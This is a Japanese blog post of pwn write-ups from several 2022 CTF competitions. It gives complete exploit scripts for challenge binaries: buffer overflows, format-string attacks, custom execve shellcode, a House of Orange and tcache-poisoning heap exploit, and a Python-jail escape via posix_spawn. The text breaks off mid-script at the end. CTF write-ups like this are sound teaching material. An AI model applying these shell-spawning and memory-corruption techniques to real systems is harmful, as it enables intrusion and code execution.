AeroCTF 2022 Writeup

AeroCTF に参加しました。
とりあえずpwnは4問あって、1問(balloon )だけ非想定解法解きました。
全体的にwrite upもあまり出てきていないようですし、あまり参加してる人少なかったのかもしれません。

balloon (21 solve)

いわゆるpython jail問。
受け取ったコードを、evalで実行する形式。

ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ ./balloon.py 
[*] Please, input a payload:
> 1+1
2


しかし、同時に配布されているpreload.soがLD_PRELOADでロードされている。
このpreload.soの中で、exec系がつぶされている。
例えば下記のような感じ。
FUN_00101119();は、securityチェックの関数。

int execl(char *__path,char *__arg,...)

{
  int iVar1;
  
  iVar1 = FUN_00101119();
  return iVar1;
}

とりあえず実行してみると下記のようになる。

ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202
[*] Security check initialized
[*] Please, input a payload:
> os.system("cat flag")
[-] Security check failed :(

ということで、exec系がない中でどうやってシェルを起動するかを考える。

実はflagというバイナリを配布されていて、このバイナリの中に答えのFLAGがハードコーディングされている。
なので読み込めればいいはずなのだが、

ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202
[*] Security check initialized
[*] Please, input a payload:
> print(__builtins__.__dict__['open']('./challenge/flag', 'rb'))
[-] [Errno 13] Permission denied: './challenge/flag'

読み込み権限はついていない。
素直にbinaryの実行ができそうな関数を探してみる。

ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202
[*] Security check initialized
[*] Please, input a payload:
> dir(os)
['CLD_CONTINUED', 'CLD_DUMPED', 'CLD_EXITED', 'CLD_KILLED', 'CLD_STOPPED', 'CLD_TRAPPED', 'DirEntry', 'EFD_CLOEXEC', 'EFD_NONBLOCK', 'EFD_SEMAPHORE', 'EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_LOCK', 'F_OK', 'F_TEST', 'F_TLOCK', 'F_ULOCK', 'GRND_NONBLOCK', 'GRND_RANDOM', 'GenericAlias', 'MFD_ALLOW_SEALING', 'MFD_CLOEXEC', 'MFD_HUGETLB', 'MFD_HUGE_16GB', 'MFD_HUGE_16MB', 'MFD_HUGE_1GB', 'MFD_HUGE_1MB', 'MFD_HUGE_256MB', 'MFD_HUGE_2GB', 'MFD_HUGE_2MB', 'MFD_HUGE_32MB', 'MFD_HUGE_512KB', 'MFD_HUGE_512MB', 'MFD_HUGE_64KB', 'MFD_HUGE_8MB', 'MFD_HUGE_MASK', 'MFD_HUGE_SHIFT', 'Mapping', 'MutableMapping', 'NGROUPS_MAX', 'O_ACCMODE', 'O_APPEND', 'O_ASYNC', 'O_CLOEXEC', 'O_CREAT', 'O_DIRECT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_FSYNC', 'O_LARGEFILE', 'O_NDELAY', 'O_NOATIME', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_PATH', 'O_RDONLY', 'O_RDWR', 'O_RSYNC', 'O_SYNC', 'O_TMPFILE', 'O_TRUNC', 'O_WRONLY', 'POSIX_FADV_DONTNEED', 'POSIX_FADV_NOREUSE', 'POSIX_FADV_NORMAL', 'POSIX_FADV_RANDOM', 'POSIX_FADV_SEQUENTIAL', 'POSIX_FADV_WILLNEED', 'POSIX_SPAWN_CLOSE', 'POSIX_SPAWN_DUP2', 'POSIX_SPAWN_OPEN', 'PRIO_PGRP', 'PRIO_PROCESS', 'PRIO_USER', 'P_ALL', 'P_NOWAIT', 'P_NOWAITO', 'P_PGID', 'P_PID', 'P_PIDFD', 'P_WAIT', 'PathLike', 'RTLD_DEEPBIND', 'RTLD_GLOBAL', 'RTLD_LAZY', 'RTLD_LOCAL', 'RTLD_NODELETE', 'RTLD_NOLOAD', 'RTLD_NOW', 'RWF_APPEND', 'RWF_DSYNC', 'RWF_HIPRI', 'RWF_NOWAIT', 'RWF_SYNC', 'R_OK', 'SCHED_BATCH', 'SCHED_FIFO', 'SCHED_IDLE', 'SCHED_OTHER', 'SCHED_RESET_ON_FORK', 'SCHED_RR', 'SEEK_CUR', 'SEEK_DATA', 'SEEK_END', 'SEEK_HOLE', 'SEEK_SET', 'SPLICE_F_MORE', 'SPLICE_F_MOVE', 'SPLICE_F_NONBLOCK', 'ST_APPEND', 'ST_MANDLOCK', 'ST_NOATIME', 'ST_NODEV', 'ST_NODIRATIME', 'ST_NOEXEC', 'ST_NOSUID', 'ST_RDONLY', 'ST_RELATIME', 'ST_SYNCHRONOUS', 'ST_WRITE', 'TMP_MAX', 'WCONTINUED', 'WCOREDUMP', 'WEXITED', 'WEXITSTATUS', 'WIFCONTINUED', 'WIFEXITED', 'WIFSIGNALED', 'WIFSTOPPED', 'WNOHANG', 'WNOWAIT', 'WSTOPPED', 'WSTOPSIG', 'WTERMSIG', 'WUNTRACED', 'W_OK', 'XATTR_CREATE', 'XATTR_REPLACE', 'XATTR_SIZE_MAX', 'X_OK', '_Environ', '__all__', '__builtins__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_check_methods', '_execvpe', '_exists', '_exit', '_fspath', '_fwalk', '_get_exports_list', '_spawnvef', '_walk', '_wrap_close', 'abc', 'abort', 'access', 'altsep', 'chdir', 'chmod', 'chown', 'chroot', 'close', 'closerange', 'confstr', 'confstr_names', 'copy_file_range', 'cpu_count', 'ctermid', 'curdir', 'defpath', 'device_encoding', 'devnull', 'dup', 'dup2', 'environ', 'environb', 'error', 'eventfd', 'eventfd_read', 'eventfd_write', 'execl', 'execle', 'execlp', 'execlpe', 'execv', 'execve', 'execvp', 'execvpe', 'extsep', 'fchdir', 'fchmod', 'fchown', 'fdatasync', 'fdopen', 'fork', 'forkpty', 'fpathconf', 'fsdecode', 'fsencode', 'fspath', 'fstat', 'fstatvfs', 'fsync', 'ftruncate', 'fwalk', 'get_blocking', 'get_exec_path', 'get_inheritable', 'get_terminal_size', 'getcwd', 'getcwdb', 'getegid', 'getenv', 'getenvb', 'geteuid', 'getgid', 'getgrouplist', 'getgroups', 'getloadavg', 'getlogin', 'getpgid', 'getpgrp', 'getpid', 'getppid', 'getpriority', 'getrandom', 'getresgid', 'getresuid', 'getsid', 'getuid', 'getxattr', 'initgroups', 'isatty', 'kill', 'killpg', 'lchown', 'linesep', 'link', 'listdir', 'listxattr', 'lockf', 'login_tty', 'lseek', 'lstat', 'major', 'makedev', 'makedirs', 'memfd_create', 'minor', 'mkdir', 'mkfifo', 'mknod', 'name', 'nice', 'open', 'openpty', 'pardir', 'path', 'pathconf', 'pathconf_names', 'pathsep', 'pidfd_open', 'pipe', 'pipe2', 'popen', 'posix_fadvise', 'posix_fallocate', 'posix_spawn', 'posix_spawnp', 'pread', 'preadv', 'putenv', 'pwrite', 'pwritev', 'read', 'readlink', 'readv', 'register_at_fork', 'remove', 'removedirs', 'removexattr', 'rename', 'renames', 'replace', 'rmdir', 'scandir', 'sched_get_priority_max', 'sched_get_priority_min', 'sched_getaffinity', 'sched_getparam', 'sched_getscheduler', 'sched_param', 'sched_rr_get_interval', 'sched_setaffinity', 'sched_setparam', 'sched_setscheduler', 'sched_yield', 'sendfile', 'sep', 'set_blocking', 'set_inheritable', 'setegid', 'seteuid', 'setgid', 'setgroups', 'setpgid', 'setpgrp', 'setpriority', 'setregid', 'setresgid', 'setresuid', 'setreuid', 'setsid', 'setuid', 'setxattr', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe', 'spawnv', 'spawnve', 'spawnvp', 'spawnvpe', 'splice', 'st', 'stat', 'stat_result', 'statvfs', 'statvfs_result', 'strerror', 'supports_bytes_environ', 'supports_dir_fd', 'supports_effective_ids', 'supports_fd', 'supports_follow_symlinks', 'symlink', 'sync', 'sys', 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', 'terminal_size', 'times', 'times_result', 'truncate', 'ttyname', 'umask', 'uname', 'uname_result', 'unlink', 'unsetenv', 'urandom', 'utime', 'wait', 'wait3', 'wait4', 'waitid', 'waitid_result', 'waitpid', 'waitstatus_to_exitcode', 'walk', 'write', 'writev']

この中で、posix_spawnなる関数があるので試してみると通った。

ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202
[*] Security check initialized
[*] Please, input a payload:
> os.posix_spawn("./challenge/flag",["a"], {})
8
I believe there are many ways to exploit this...

Aero{RCE_1n_Pyth0n_1s_d4NG3r0uS_ev3Ry_t1m3}

なお、この解法はunintended solutionらしい。
github.com

公式解法は何してるのかよくわからないが、既存のissueをうまく使ってるらしい。
勝手な想像だがこれ解いた人の多くがposix_spawnなんじゃないだろうか。

ところでpreload.soの下記はいったい何をやっているんだろう?

int nice(int __inc)

{
  FUN_00101148(0x861a0,0x1a8);
  FUN_00101148(0x85e60,0x1a8);
  FUN_00101148(0x8ca80,0x1a8);
  FUN_00101148(0x93c20,0x1a8);
  write(1,"[*] Security check initialized\n",0x1f);
  return 1;
}

one-bullet (11 solve)

RIPまでは容易に奪うことができたが、解けなかった。

実行すると下記のように、xとyの値を6回求められて、最後にコメントを求められる。

buntu@ubuntu-virtual-machine:~/ctf/aeroctf/one$ ./one_bullet 

            ,___________________________________________/7
           |-_______------. `\                             |
       _,/ | _______)     |___\____________________________|
  .__/`((  | _______      | (/))_______________=.
     `~) \ | _______)     |   /----------------_/
       `__y|______________|  /
       / ________ __________/
      / /#####\(  \  /     ))
     / /#######|\  \(     //
    / /########|.\______ad/`
   / /###(\)###||`------``
  / /##########||
 / /###########||
( (############||
 \ \####(/)####))
  \ \#########//
   \ \#######//
    `---|_|--`
       ((_))
        `-`
6 shots left!
Where do you want to shoot? x: 1
y: 2
!!!BAAAAAANG!!!

最後

Where do you want to shoot? x: 10
y: 11
!!!BAAAAAANG!!!
{!} Please leave a comment about shooting!
{?} Comment size: AA
{?} Comment: {+} Thanks!

ちなみにstatic link形式である。

色々試していて分かったが、read_into_buffer関数で入力した値(ここでいうとxやy)がComment size: を求められたときの
scanf()の第二引数に入ることがあるようだ。
したがって、任意のアドレスに任意の値を書くことができる。

最後に、exit 関数が呼ばれているが、exit関数は_exit関数と異なり、プログラムの終了に伴い色々な処理を実施している。
一部の関数テーブルを書き換えることで容易にRIPを奪うことができる。

実際に今回私が使ったのは、__elf_set___libc_atexit_element__IO_cleanup__だった。

 RAX  0x0
 RBX  0x4e0468 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x428d60 (_IO_cleanup) ◂— endbr64 
 RCX  0x4e1578 (unseen_objects) ◂— 0x0
 RDX  0x1
 RDI  0x4cecb8 (__EH_FRAME_BEGIN__) ◂— 0x440000001c
 RSI  0x1
 R8   0x0
 R9   0xd
 R10  0x4b3093 ◂— '{?} Comment: '
 R11  0x246
 R12  0x4e0470 ◂— 0x0
 R13  0x1
 R14  0x0
 R15  0x1
 RBP  0x1
 RSP  0x7fffffffdea0 ◂— 0xb /* '\x0b' */
*RIP  0x410898 (__run_exit_handlers+536) ◂— call   qword ptr [rbx]
─────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────
   0x410885 <__run_exit_handlers+517>    sub    rax, 1
   0x410889 <__run_exit_handlers+521>    sub    rax, rbx
   0x41088c <__run_exit_handlers+524>    shr    rax, 3
   0x410890 <__run_exit_handlers+528>    lea    r12, [rbx + rax*8 + 8]
   0x410895 <__run_exit_handlers+533>    nop    dword ptr [rax]
 ► 0x410898 <__run_exit_handlers+536>    call   qword ptr [rbx]               <_IO_cleanup>
        rdi: 0x4cecb8 (__EH_FRAME_BEGIN__) ◂— 0x440000001c
        rsi: 0x1
        rdx: 0x1
        rcx: 0x4e1578 (unseen_objects) ◂— 0x0

__elf_set___libc_atexit_element__IO_cleanup__のアドレスを書き換えることで、任意のアドレスに飛ばすことができる。

ということでone_gadget…と行きたいところだったが、この問題はstatic linkでone gadgetを調べる方法もない。

私は__elf_set___libc_atexit_element__IO_cleanup__ をmainに書き換えて無限ループにして、
stackのアドレスをleak して ROP gadgetをstack内に書き込み、最後にstack pivot…と行きたいところだったが
どうしてもstackのアドレスをleakさせる方法を見つけることができなかった…


さて、公式write upといえば、__elf_set___libc_atexit_element__IO_cleanup__ に 0x4011b0なるgadgetを入れて、一発で stack pivotしていた。
この方法なら、無限ループにするまでもなく、一発でROPができる。この問題が解けるかどうかの瀬戸際は、このgadgetを見つけることができるかどうかだったと思われる。
ちなみにrp++で見つけることできるのかな? 

ImaginaryCTF 2022 Writeup

ImaginaryCTF に参加しました。
聞いたことない名前だったんですけど(有名なのかな?)pwnは良問で
難しすぎもせず、簡単すぎもせず、面白そうでした。
ボリュームありすぎて心が折れたのでret2winとbofとbellcodeだけ解きました。

ret2win (240 solve)

ubuntu@ubuntu-virtual-machine:~/ctf/imaginaryCTF/ret2win$ ./vuln 
Welcome to ret2win!
Right now I'm going to read in input.
Can you overwrite the return address?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Returning to 0x4141414141414141...
Segmentation fault (コアダンプ)

よくあるwellcome 問題。
とりあえずwin関数に飛ばせば終わり。

from pwn import *
elf=ELF("/home/ubuntu/ctf/imaginaryCTF/ret2win/vuln")

p=remote("ret2win.chal.imaginaryctf.org",1337)

#gdb.attach(p)

p.recv(timeout=1)
p.sendline(cyclic(24)+p64(elf.symbols["win"]))
p.interactive()

bof (167 solve)

#include <stdio.h>
#include <stdlib.h>

struct string {
  char buf[64];
  int check;
};

char temp[1337];


int main() {
  struct string str;

  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);

  str.check = 0xdeadbeef;
  puts("Enter your string into my buffer:");
  fgets(temp, 5, stdin);
  sprintf(str.buf, temp);

  if (str.check != 0xdeadbeef) {
    system("cat flag.txt");
  }
}

名前の通り、bofするだけか…
と思いつつうまくいかない。

なぜかというとfgetの第2引数が5だから5文字しか受け付けないから…
その下のsprintfがあることに気づけば終わり。
fsbもあるので、fsbを使ってbofを起こすことができる。
面白い。

from pwn import *


elf=ELF("/home/ubuntu/ctf/imaginaryCTF/bof/bof")
p=remote("bof.chal.imaginaryctf.org",1337)

#gdb.attach(p)

p.recv(timeout=1)
p.send("%65c")
p.interactive()

Bellcode (32 solve)

undefined8 main(void)

{
  byte bVar1;
  byte *local_18;
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  mmap(&DAT_00fac300,0x2000,7,0x21,-1,0);
  puts("What\'s your shellcode?");
  fgets(&DAT_00fac300,0x1000,stdin);
  local_18 = &DAT_00fac300;
  while( true ) {
    if ((byte *)0xfad2ff < local_18) {
      puts("OK. Running your shellcode now!");
      (*(code *)&DAT_00fac300)();
      return 0;
    }
    bVar1 = *local_18;
    if ((byte)(bVar1 + (char)((((uint)bVar1 * 0x21 + (uint)bVar1 * 8) * 5 >> 8 & 0xff) >> 2) * -5)
        != '\0') break;
    local_18 = local_18 + 1;
  }
  puts(&DAT_00102020);
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

ghidraの結果を見るとわかるが、とりあえず、
0x00fac300から0x1000入力し、謎のチェックをして、その結果が全バイトについて
0である場合に実行してくれる。

まずは、この謎のチェックを解析しよう。
rev力が多少求められるが、丁寧に追って、下記のように探索すればよい。

chars=list()
for i in range(0xff):
    A = ((((((i + (i << 2)) << 3) + i) * 5)) >> 8)
    B = ((A >> 2) << 2) + (A >> 2)
    C = i - B
    if C==0:
        chars.append(i)
    print(hex(i), hex(C))

汚いコードだなぁ…

>>> chars
[0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95, 100, 105, 110, 115, 120, 125, 130, 135, 140, 145, 150, 155, 160, 165, 170, 175, 180, 185, 190, 195, 200, 205, 210, 215, 220, 225, 230, 235, 240, 245, 250]

ということで…
5の倍数しか使えない中でシェルコードを作れという問題である。

とりあえず、使える命令コードを出力してみて、それを組みあわせて実現した。
ここら辺のノウハウは下記の本に書いてあり、大変勉強になる。
私がここで解説するべきではないので割愛する。

booth.pm

あとはメモ帳で頑張ってアセンブラを書いた。
とりあえずかいつまんでポイントを説明する

・read2回、write1回、execve1回のシェルコード。writeは、ただのチェック用。(ローカルで動いたけどリモートで動かなかったのでdebugとして入れた)
/bin/shの文字列をassemblyの四則演算で出力するのは無理だったので、ユーザから入力するようにした。
・1回目のreadで0x00fad200へ"/bin/sh"の入力をしている。基本的にrdi、esi、edxはgadgetがあるから困らない。
・2回目のreadで、0x00fad269へ";"を入力している。これは0x3bであり、execveのsystem call番号である。ここで入力した値を使ってexecveを呼んでいる。
・2回目のreadの返り値は1を想定している。これは、inputが";"の1文字だからである。これを使ってwrite system callを3命令で呼んでいる。多分上手にやれば、1回のreadで/bin/shを含む0x3b文字を読み込むことで、スムーズにexecveを呼べるかもしれない。

shellcodeに飛ぶ直前のレジスタの状態。

下記はメモ。

ssize_t read(int fd, void *buf, size_t count);
\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x00\xd2\xfa\x00\x0f\x05
push   rax \x50
pop    rdi \x5f
mov    esi,0xf \xbe\x0f\x00\x00\x00
xchg   esi,eax \x96
push   rax \x50
pop    rdx \x5a
mov    esi,0xf \xbe\x00\x00\x00\x00
xchg   esi,eax \x96
mov    esi,0x00fad200 \xbe\x00\xd2\xfa\x00  
syscall \x0f\x05

ssize_t read(int fd, void *buf, size_t count);
\xbe\x00\x00\x00\x00\x96\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x69\xd2\xfa\x00\x0f\x05
mov    esi,0x0 \xbe\x00\x00\x00\x00
xchg   esi,eax \x96
push   rax \x50
pop    rdi \x5f
mov    esi,0xf \xbe\x0f\x00\x00\x00
xchg   esi,eax \x96
push   rax \x50
pop    rdx \x5a
mov    esi,0xf \xbe\x00\x00\x00\x00
xchg   esi,eax \x96
mov    esi,0x00fad269 \xbe\x69\xd2\xfa\x00  
syscall \x0f\x05

ssize_t write(int fd, const void *buf, size_t count);
\x50\x5f\x0f\x05
push   rax \x50
pop    rdi \x5f
syscall \x0f\x05


int execve(const char *pathname, char *const argv[], char *const envp[]);
\xbe\x00\xd2\xfa\x00\x96\x50\x5f\xbe\x00\x00\x00\x00\x96\x50\x5a\xbe\x69\xd2\xfa\x00\x96\x87\x00\xbe\x00\x00\x00\x00\x0f\x05
mov    esi,0x0 \xbe\x00\xd2\xfa\x00
xchg   esi,eax \x96
push   rax \x50
pop    rdi \x5f
mov    esi,0x0 \xbe\x00\x00\x00\x00
xchg   esi,eax \x96
push   rax \x50
pop    rdx \x5a
mov    esi,0x00fad269 \xbe\x69\xd2\xfa\x00  
xchg   esi,eax \x96
xchg   DWORD PTR [rax],eax \x87\x00
mov    esi,0x0 \xbe\x00\x00\x00\x00
syscall \x0f\x05

最終的には、下のコードでシェルをとれた。
;は人力で入力してあげてください…

from pwn import *


elf=ELF("/home/ubuntu/ctf/imaginaryCTF/bellcode/bellcode")

#p=process("/home/ubuntu/ctf/imaginaryCTF/bellcode/bellcode"
#          , aslr=False)
p=remote("bellcode.chal.imaginaryctf.org",1337)

#gdb.attach(p)

# b * 0x5555555552c8

p.recv(timeout=1)
shellcode=b"\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x00\xd2\xfa\x00\x0f\x05"
shellcode+=b"\xbe\x00\x00\x00\x00\x96\x50\x5f\xbe\x0f\x00\x00\x00\x96\x50\x5a\xbe\x00\x00\x00\x00\x96\xbe\x69\xd2\xfa\x00\x0f\x05"
shellcode+=b"\x50\x5f\x0f\x05"
shellcode+=b"\xbe\x00\xd2\xfa\x00\x96\x50\x5f\xbe\x00\x00\x00\x00\x96\x50\x5a\xbe\x69\xd2\xfa\x00\x96\x87\x00\xbe\x00\x00\x00\x00\x0f\x05"
p.sendline(shellcode)

p.send("/bin/sh")
p.interactive()

vsCTF Writeup

vsCTFに参加しました。
pwnはEzOrangeだけ解きました。Private Bankは開催期間中に解けませんでした。

EzOrange (16 solve)

ubuntu@ubuntu-virtual-machine:~/ctf/vsctf/ezorange$ ./ezorange 
1. Buy an orange
2. Modify part of orange
3. Exit
> 1
Orange number: 0
Size: 12
1. Buy an orange
2. Modify part of orange
3. Exit
> 2
Orange number: 0
Total 32 cell in this orange
Cell index: 0
Current value: 0
New value: 1
1. Buy an orange
2. Modify part of orange
3. Exit
> 

よくあるヒープ問題。
脆弱性はModify Part of orange。
Cell indexを選ばされるのだが、これに任意の値を入れて、heap領域 + offsetの値を領域外について読み込み+書き込みができる

気になるのはfreeがないことだが、問題名がOrangeであることから自明だろう。House of orangeが使える。

セキュリティ機構は下記の通り。

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   51) Symbols	  No	0		1		/home/ubuntu/ctf/vsctf/ezorange/ezorange

PIEも無効だし、比較的自由にいろいろできそう。

方針としては、まずlibc baseとheap baseをleakしたい。
そのためには、house of orangeをもちいて、大きめのheapをunsorted binに入れてlibc baseをleak。
その後、smallbinなりlarge binなりに入れればfd_nextsizeからheap baseもleakできる。
house of orangeを2回用いてt cache poisoning をすれば終わり。
libcのversion が2.32なのでsafe linkingが有効である。

とはいえheap addressはわかっているので容易にbypassできる。
__malloc_hookを書き換えて、one_gadgetに飛ばすことができる。

from pwn import *
import math
#context.arch="i386"
#context.terminal = ['xterm', '-e']
#context.arch="i386"
#context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/ctf/vsctf/ezorange/ezorange")
libc=ELF("/home/ubuntu/ctf/vsctf/ezorange/libc.so.6")

#p=process("/home/ubuntu/ctf/vsctf/ezorange/ezorange"
#          , aslr=False))
p=remote("104.197.118.147",10160)

#gdb.attach(p)

def Buy(number, size):
    p.sendlineafter(">","1")
    p.sendlineafter("Orange number:",str(number))
    p.sendlineafter("Size:",str(size))
    return

def Modify(number, cell_index, value):
    p.sendlineafter(">","2")
    p.sendlineafter("Orange number:",str(number))
    p.sendlineafter("Cell index:",str(index))
    p.sendlineafter("New value:",str(value))
    return

#only orange 0 is avaibale!
def leak8byte(leak_offset):
    leaked=0
    for i in range(8):
        p.sendlineafter(">","2")
        p.sendlineafter("Orange number:",str(0))
        p.sendlineafter("Cell index:",str(leak_offset+i))
        p.recvuntil("Current value:")
        current_value=int(p.recvline())
        leaked=leaked+current_value*(256**i)
        p.sendlineafter("New value:",str(current_value))
    return leaked

def ovewrite8byte(offset, value):
    for i in range(2+math.ceil(math.log(value, 256))):
        p.sendlineafter(">","2")
        p.sendlineafter("Orange number:",str(0))
        p.sendlineafter("Cell index:",str(offset+i))
        p.sendlineafter("New value:",str(((value//(256**(i)))%256)))
    return

def ovewrite8byte1(offset, value):
    for i in range(2+math.ceil(math.log(value, 256))):
        p.sendlineafter(">","2")
        p.sendlineafter("Orange number:",str(1))
        p.sendlineafter("Cell index:",str(offset+i))
        p.sendlineafter("New value:",str(((value//(256**(i)))%256)))
    return

Buy(0, 0x10)
# overwrite top chunk
ovewrite8byte(0x18, 0xd51)

# free top chunk
Buy(1, 0xd58)
#
Buy(0, 0x10)
Buy(1, 0xd58)
#
# # we can leak heap base and libc base...
libc_base=leak8byte(0x20)-0x1c6200
log.info("libc_base is "+hex(libc_base))
#
heap=leak8byte(0x30)-0x2d0
log.info("heap address is "+hex(heap))
#
# # t_cashe poisonnning
log.info("free")
Buy(1, 0x4f8)
Buy(1, 0x4f8)
Buy(1, 0x4f8)
ovewrite8byte(0x22D08, 0x41)
# free 0x41
log.info("free")
Buy(1, 0x1000)
Buy(1, 0x200)
Buy(1, 0xf00)
Buy(1, 0xa0)
Buy(1, 0x90)
ovewrite8byte(0x44d08, 0x41)
# free 0x41
Buy(1, 0x1000)
# # tcache poisoning
log.info("tcache poisonning")
ovewrite8byte(0x44d10, (heap+0x44FD0)>>12  ^ (libc_base+libc.symbols["__malloc_hook"]))
Buy(1, 0x8)
Buy(1, 0x8)
one_gadget=0xceb71
ovewrite8byte1(0, libc_base+one_gadget)

Buy(1, 0x8)

p.interactive()

NWが遅くて、結構exploitが動くまでに時間がかかってしまった。

libcとldが同時に配布されると、こちらで環境を用意しなくていい点がいいけど…
debugするときにpwndbgとかのheap コマンドが動かないので困るっちゃ困る気がする…

Private Bank (7 solve)

開催期間中に解けなかった。
明らかなFSBがある。

pwndbg> checksec
[*] '/home/ubuntu/ctf/vsctf/privatebank/privatebank'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

RELROもPIEも有効。
2回fsbが使えるので、一回目でheap アドレスをleak して、二回目でheapに保存されているflagをリークするだけの簡単な問題。
heapアドレスをどうleakするか?
これはstack 上にはなさそうなので、FSBのAARを利用してlibcからleakすることにする。

pwndbg> leakfind 0x1555552ef000 --max_depth=1 --max_offset=0x21B0000 --page_name=heap
0x1555552ef000+0x218388 —▸ 0x55555555c000 [heap]
0x1555552ef000+0x218cc0 —▸ 0x55555555c580 [heap]

このaddressからheapをleakしたのち、heapからflagをleakするだけ。

from pwn import *
#context.arch="i386"
#context.terminal = ['xterm', '-e']
#context.arch="i386"
#context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/ctf/vsctf/privatebank/privatebank")
libc=ELF("/home/ubuntu/ctf/vsctf/privatebank/libc-2.34.so")

#p=process("/home/ubuntu/ctf/vsctf/privatebank/privatebank"
#          , aslr=True)} )
p=remote("104.197.118.147",10165)

#gdb.attach(p)

p.recvuntil("Hint:")
libc_base=int(p.recvline(), 16)-libc.symbols["system"]
log.info("libc_base is "+ hex(libc_base))

# leak heap address
p.sendafter("Cabinet number:","1%7$s".encode()+p64(libc_base+0x218cc0))
p.recvuntil("Your cabinet number: 1")
heap_leak=u64(p.recvline()[:6].ljust(8, b"\x00"))
log.info("heap address is "+hex(heap_leak))

# leak flag
p.sendafter("Key:", "%9$s    ".encode()+p64(heap_leak+0x10))
log.info(p.recv(timeout=0.1))
p.interactive()

SECCON Beginners 2022 Writeup

SECCON Beginners 2022に参加しました。
pwnはMonkey Heap以外は解けたのですが、時間内にMonkey Heapを解くことはできませんでした。

BeginnersBof (155 solve)

What's your name?ubuntu@:~/Desktop$ nc beginnersbof.quals.beginners.seccon.jp 9000
How long is your name?12

What's your name?
TEST
Hello TEST

最初に文字数を聞かれて、その後文字列の入力をすると返してくれる。
普通にBoFがある。

また、checksecをすると下記の通りかなり薄い。

0x0000000000401315 in main ()
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

ソースコードが配布されていて、win()関数が存在する。
PIEも無効、Canaryもないので、Returnアドレスを書き換えるだけでシェルが取れる。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/seccon/BeginnersBof/chall")

#p=process("//home/ubuntu/Desktop/ctf/seccon/BeginnersBof/chall"
#          , aslr=False)
p=remote("beginnersbof.quals.beginners.seccon.jp",9000)

#gdb.attach(p)

p.sendlineafter("How long is your name?", str(0x50))
p.sendlineafter("What's your name?", cyclic(40)+p64(elf.symbols["win"]))

p.interactive()

raindrop (52 solve)

下記のような教育的なROPの問題

ubuntu@ip-:~/Desktop/ctf/seccon/raindrop/raindrop$ ./chall 
Hey! You are now going to try a simple problem using stack buffer overflow and ROP.

I will list some keywords that will give you hints, so please look them up if you don't understand them.

- stack buffer overflow
- return oriented programming
- calling conventions

stack dump...

[Index] |[Value]             
========+===================
 000000 | 0x0000000000000000  <- buf
 000001 | 0x0000000000000000 
 000002 | 0x00007ffc89593b80  <- saved rbp
 000003 | 0x00000000004011ff  <- saved ret addr
 000004 | 0x0000000000000000 
finish
You can earn points by submitting the contents of flag.txt
Did you understand?
AAAAAAAAAAA
bye!
stack dump...

[Index] |[Value]             
========+===================
 000000 | 0x4141414141414141  <- buf
 000001 | 0x000000000a414141 
 000002 | 0x00007ffc89593b80  <- saved rbp
 000003 | 0x00000000004011ff  <- saved ret addr
 000004 | 0x0000000000000000 
finish

セキュリティ機構もかなり薄い。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

rp++でgadgetを探してみると、pop rdiのgadgetがある。
0x00401453をつかってROPしていけばよい。

ubuntu@ip-:~/Desktop/ctf/seccon/raindrop/raindrop$ rp-lin-x64 -r 1 -f chall --unique | grep "rdi"
0x0040143a: call qword [rdi+rbx*8] ;  (1 found)
0x00401146: or dword [rdi+0x00404058], edi ; jmp rax ;  (1 found)
0x00401438: out 0x41, eax ; call qword [rdi+rbx*8] ;  (1 found)
0x00401453: pop rdi ; ret  ;  (1 found)

このプログラムの中ではsystem関数を呼んでいるので、
ret2pltによってrdiにflag.txtを入れたうえでcat systemをするだけだと思ったが、(/bin/shでもいいと思うが)
スタックアラインメントで落ちてしまう。ret gadgetを使ってstackを調整しようにも、stackが足りない。
どうしたものか…と5分ほど思ったが pltから呼ぶ必要はない。
ソースコードの中にある、help関数の中のアドレスを指定して飛ぶことができた。

import logging

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

